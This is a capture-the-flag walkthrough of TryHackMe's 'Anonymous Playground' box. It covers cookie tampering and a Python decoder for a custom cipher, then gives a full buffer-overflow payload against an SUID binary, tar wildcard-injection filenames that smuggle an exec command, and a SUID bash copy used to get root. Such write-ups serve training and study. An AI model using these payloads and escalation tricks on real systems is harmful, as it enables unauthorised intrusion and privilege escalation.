Post

Anonymous Playground Writeup

Anonymous Playground Writeup

Introduction

This is a hard challenge box on TryHackMe. It’ll take 3-5 minutes to boot up

This is what a hint will look like!

Enumeration

Port Scan

First things first, lets see what ports are open

1
rustscan -a VICTIM_IP -- -A -oA scan -sC

scan1

scan2

There are only two ports open

  • 22: SSH
  • 80: HTTP

Website

Let’s investigate the home page to see what we can access by default

homepage

There are three links at the top of the page. The operatives tab is the only one that leads somewhere

operatives

A list of members and potential usernames. Keep this in mind for later

Now let’s see if there are hidden directories in robots.txt

robots.txt

That’s a suspicious directory… What happens when we try to access it?

access-denied

Hmm we don’t have the proper clearance

Where could web credentials be stored?

By checking our cookies we see the following

cookies

A cookie named access with the value denied? What if we change the value to granted and refresh the page

creds-cipher

These look like credentials! This cipher doesn’t look familiar so it seems like we need to crack it ourselves

Initial Foothold

Deciphering

First let’s look at the full ciphertext

Is there a pattern?

1
hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN

The string always follows the pattern of a lowercase letter followed by an uppercase letter. Put another way we can say every pair of letters is the same as one plaintext letter

The pair of colons is the only exception, but it seems like this was intended to separate the username from the password

Are there any operatives (usernames) which could be used to decipher the username?

Since we have a potential list of usernames given to us in /operatives.php lets focus on the username we are given

1
2
3
hEzAdCfHzA
# adding a space between character pairs
hE zA dC fH zA

The username is 5 characters long and uses the same character in the 2nd and 5th position. Looking at the list of operatives there is only one username which matches these constraints

1
2
3
magna
hE zA dC fH zA
m  a  g  n  a

Alright we have a few characters mapped, now we can start decoding

What are the positions of each letter in the alphabet?

First we’ll set the characters in the form of an equation

1
2
3
d C = g
h E = m
f H = n

Now we can map letters by their position in the alphabet: a=1, b=2, c=3 …

1
2
3
4 3 = 7
8 5 = 13
6 8 = 14

The pattern becomes clear, we add the position of each letter in the pair to get the position of the decoded letter! The only exception is the first character

1
2
z A = a
26 + 1 = 1

This is easily solved by making the position wrap around to the beginning if it goes over the length of the alphabet. In other words, we can just take the remainder of the final index divided by the alphabet length

The deciphering algorithm in python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/python3

# password ciphertext
cipher = 'hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN'
alpha = 'abcdefghijklmnopqrstuvwxyz'
plain = ''

for i in range(0, len(cipher), 2):
        a = cipher[i]
        b = cipher[i+1].lower()

        # add position of each letter
        index = alpha.find(a) + alpha.find(b)

        # have a=1 rather than a=0
        index += 1

        # adjust for wrap around
        index %= len(alpha)

        plain += alpha[index]

print(plain)

By running this script, we decode the password for magna! Recall port 22 is open so if we try to login as magna…

1
ssh magna@VICTIM_IP

flag1

We’re in!!!

Hacky Solution

An alternate method for deciphering the text. This is the method I found first and serves as a reminder that there isn’t only one solution

What operations can you perform on ASCII characters?

We already have a few characters with their encoded equivalent, so let’s try to work backwards. To make it easier we can set it up as an equation

1
2
3
d C = g
h E = m
f H = n

ASCII is a standard which gives characters an equivalent numerical value. Here’s a table of values which we’ll use to convert the characters into numbers

1
2
3
100 67 = 103
104 69 = 109
102 72 = 110

What operations can we do on the left side to get the value on the right?

After experimenting we see the following pattern

1
2
3
(100 + 67) - 64 = 103
(104 + 69) - 64 = 109
(102 + 72) - 64 = 110

This pattern holds for every characters except for a

1
2
3
4
5
6
z A = a
122 65 = 97
(122 + 65) - 64 = 123

# converted ascii
z A = {

Looking at the ASCII table, this is the character right after lowercase z (122)

ascii-table

We can just create an exception in our python script

Remember, we don’t need to find a perfect solution, we just need to find one that works!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/python3

# password ciphertext
cipher = 'hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN'
plain = ''
offset = 64

for i in range(0, len(cipher), 2):
        a = cipher[i]
        b = cipher[i+1]
        
        # ord() gets the ascii value of a character
        # chr() turns an ascii value to a character
        c = chr(ord(a) + ord(b) - offset)
        
        # replacement edgcase
        if c == '{':
                c = 'a'
        plain += c

print(plain)

This will give us the same password!

Horizontal Escalation

There’s a note from spooky leads us in the right direction

spooky-note

The hacktheworld binary with the suid bit set is our target, so lets start investigating

First I moved the binary to my machine so I could use my own tools. Spooky gave us some on the box like radare2 and gdb but I might as well put it through ghidra as well

1
2
3
4
5
# victim machine
python3 -m http.server

# attacker machine
wget http://VICTIM_IP:8000/hacktheworld

After running the binary through ghidra this is our decompiled source for main

main-source

It asks the user for some input and then ends. Luckily, this code presents a serious vulnerability

How many characters can the buffer hold? What happens when you add more?

Since the program doesn’t limit how many characters a user can write to the buffer, this is a classic buffer overflow example

Buffer Overflows

This type of vulnerability appears when the the input received is larger than the buffer which is intended to hold that input. Once the initial buffer is filled, that extra data still gets written, but where does it go?

To keep things brief and simple, this data will start overwriting values of the program as it’s running. One of these values, the instruction pointer, tells the program the address of the code to run once a function is done running . This is called when a function returns in C.

bof-figure

Our goal is to overwrite the instruction pointer (saved EIP) from the buffer and force it to run code that wasn’t intended

Exploit Crafting

Buffer Size

How many characters do we need to fill before overwriting the instruction pointer?

Let’s calculate! To reach the instruction pointer we need to fill the buffer, as well as the saved base pointer (EBP). On 64 bit systems each register can hold 64 bits or 8 bytes. Adding this value to the buffer size of 64 bytes, we get 72 bytes!

We can test this in gdb to verify our calculations. First lets setup our input and write it to a file

1
python -c "print 'A'*72 + 'BCDEFGHI'" > input.txt

So let’s run this input with gdb

1
2
3
4
gdb ./hacktheworld
run < input.txt
# the program should segfault
info frame

gdb-test

The instruction pointer we’re targeting is the saved rip register. Let’s convert the the saved rip values from hex to its ASCII equivalent

1
0x4948474645444342 -> IHGFEDCB

Awesome, now we can control the instruction pointer! But our original string (BCDEFGHI) has been reversed (IHGFEDCB). What’s the deal?

This is known as little endian byte ordering. There are advantages to storing bytes in reverse order but for our purposes, it’s enough to remember that we need to reverse the return address in our exploit

Return Address

Where should we redirect the flow of the program to?

Normally I would put machine code which runs a shell into the buffer and try to jump to that area, but there is a small issue with this plan. If we run this command

1
cat /proc/sys/kernel/randomize_va_space

We can see that Address Space Layout Randomization is enabled. What this means is that the address of the buffer we want to jump to will change every time we run the program. We could always brute force this address but there’s an easier target.

By checking the symbol tree to find other functions this binary has available, we find something interesting

call-bash-source

A function named call_bash which executes a shell! Since setuid is called before the shell is run, we won’t end up in a root shell

There’s a shortcut to root here by calling setuid with the argument 0 then running a shell. This method is more difficult but you can look into return oriented programming if you’re interested

So we’re going to overwrite the instruction pointer with the address of the call_bash function. We can find the address in ghidra

call-bash-addr

Alternatively function addresses can also be found in gdb by running

1
info functions

gdb-functions

Remember that registers are 8 bytes long (2 hex characters). So in hex our return address is

1
0x0000000000400657

Taking little endian byte ordering into consideration, our input command becomes the following

1
python -c "print 'A'*72 + '\x57\x06\x40\x00\x00\x00\x00\x00'"

Make sure you use python rather than python3 when creating the input since different versions handle hex differently

Exploiting

If we use an input file to run this, the shell will not run as intended

bof-fail

A common way to solve this is to pipe the python output into the program. The cat command is also called to deal with EOF issues and keep the shell open

1
(python -c "print 'A'*72 + '\x57\x06\x40\x00\x00\x00\x00\x00'";cat ) | ./hacktheworld

When we run the binary with the input, we reach the function again but the shell still doesn’t work correctly

Taking a look at the assembly for this function again can clear things up

call-bash-asm

The address we’re jumping to executes a push command which places a value onto the stack. Most likely this misaligned the stack

To solve this we can skip the push command by jumping a little further into the function

1
0x0000000000400657 -> 0x0000000000400658

Our exploit becomes

1
(python -c "print 'a'*72 + '\x58\x06\x40\x00\x00\x00\x00\x00'";cat ) | ./hacktheworld

And….

spooky-flag

It works!!! This shell isn’t particularly interactive so we can improve it just like a reverse shell

1
2
3
4
5
python -c 'import pty; pty.spawn("/bin/bash")'
# ctrl+z
stty raw -echo && fg
export SHELL=/bin/bash
export TERM=screen

Root

Are there any processes run as root on a schedule?

By checking /etc/crontab we can see a list of scheduled commands and what privileges they run with

1
cat /etc/crontab

crontab

Every minute root will compress everything in spooky’s home directory using a tar wildcard

Can wildcards be abused when run with tar?

By using wildcard injection we can run arbitrary commands through tar. Using filenames with the same format as a command flag will enable these options for the running program, and tar has options which can execute code. We can set up the tar commands with the following

1
2
3
cd /home/spooky
echo 'asdf' > '--checkpoint=1'
echo 'asdf' > '--checkpoint-action=exec=sh shell.sh'

Now create the file shell.sh which creates a bash binary with suid permissions

1
2
3
#!/bin/bash
cp /bin/bash /home/spooky
chmod +s /home/spooky/bash

Now we just wait until the copy is made and then create a root shell

1
/home/spooky/bash -p

root-flag

Recap

By visiting a hidden directory and modifying a cookie value, we’re given a unique cipher to break. Comparing our ciphertext to potential username values we get a starting point for cracking. Through some ASCII manipulation we decipher the text and get ssh credentials. By abusing a buffer overflow vulnerability we escalate our privileges horizontally. A cron job vulnerable to wildcard injection gives us root privileges.

This post is licensed under CC BY 4.0 by the author.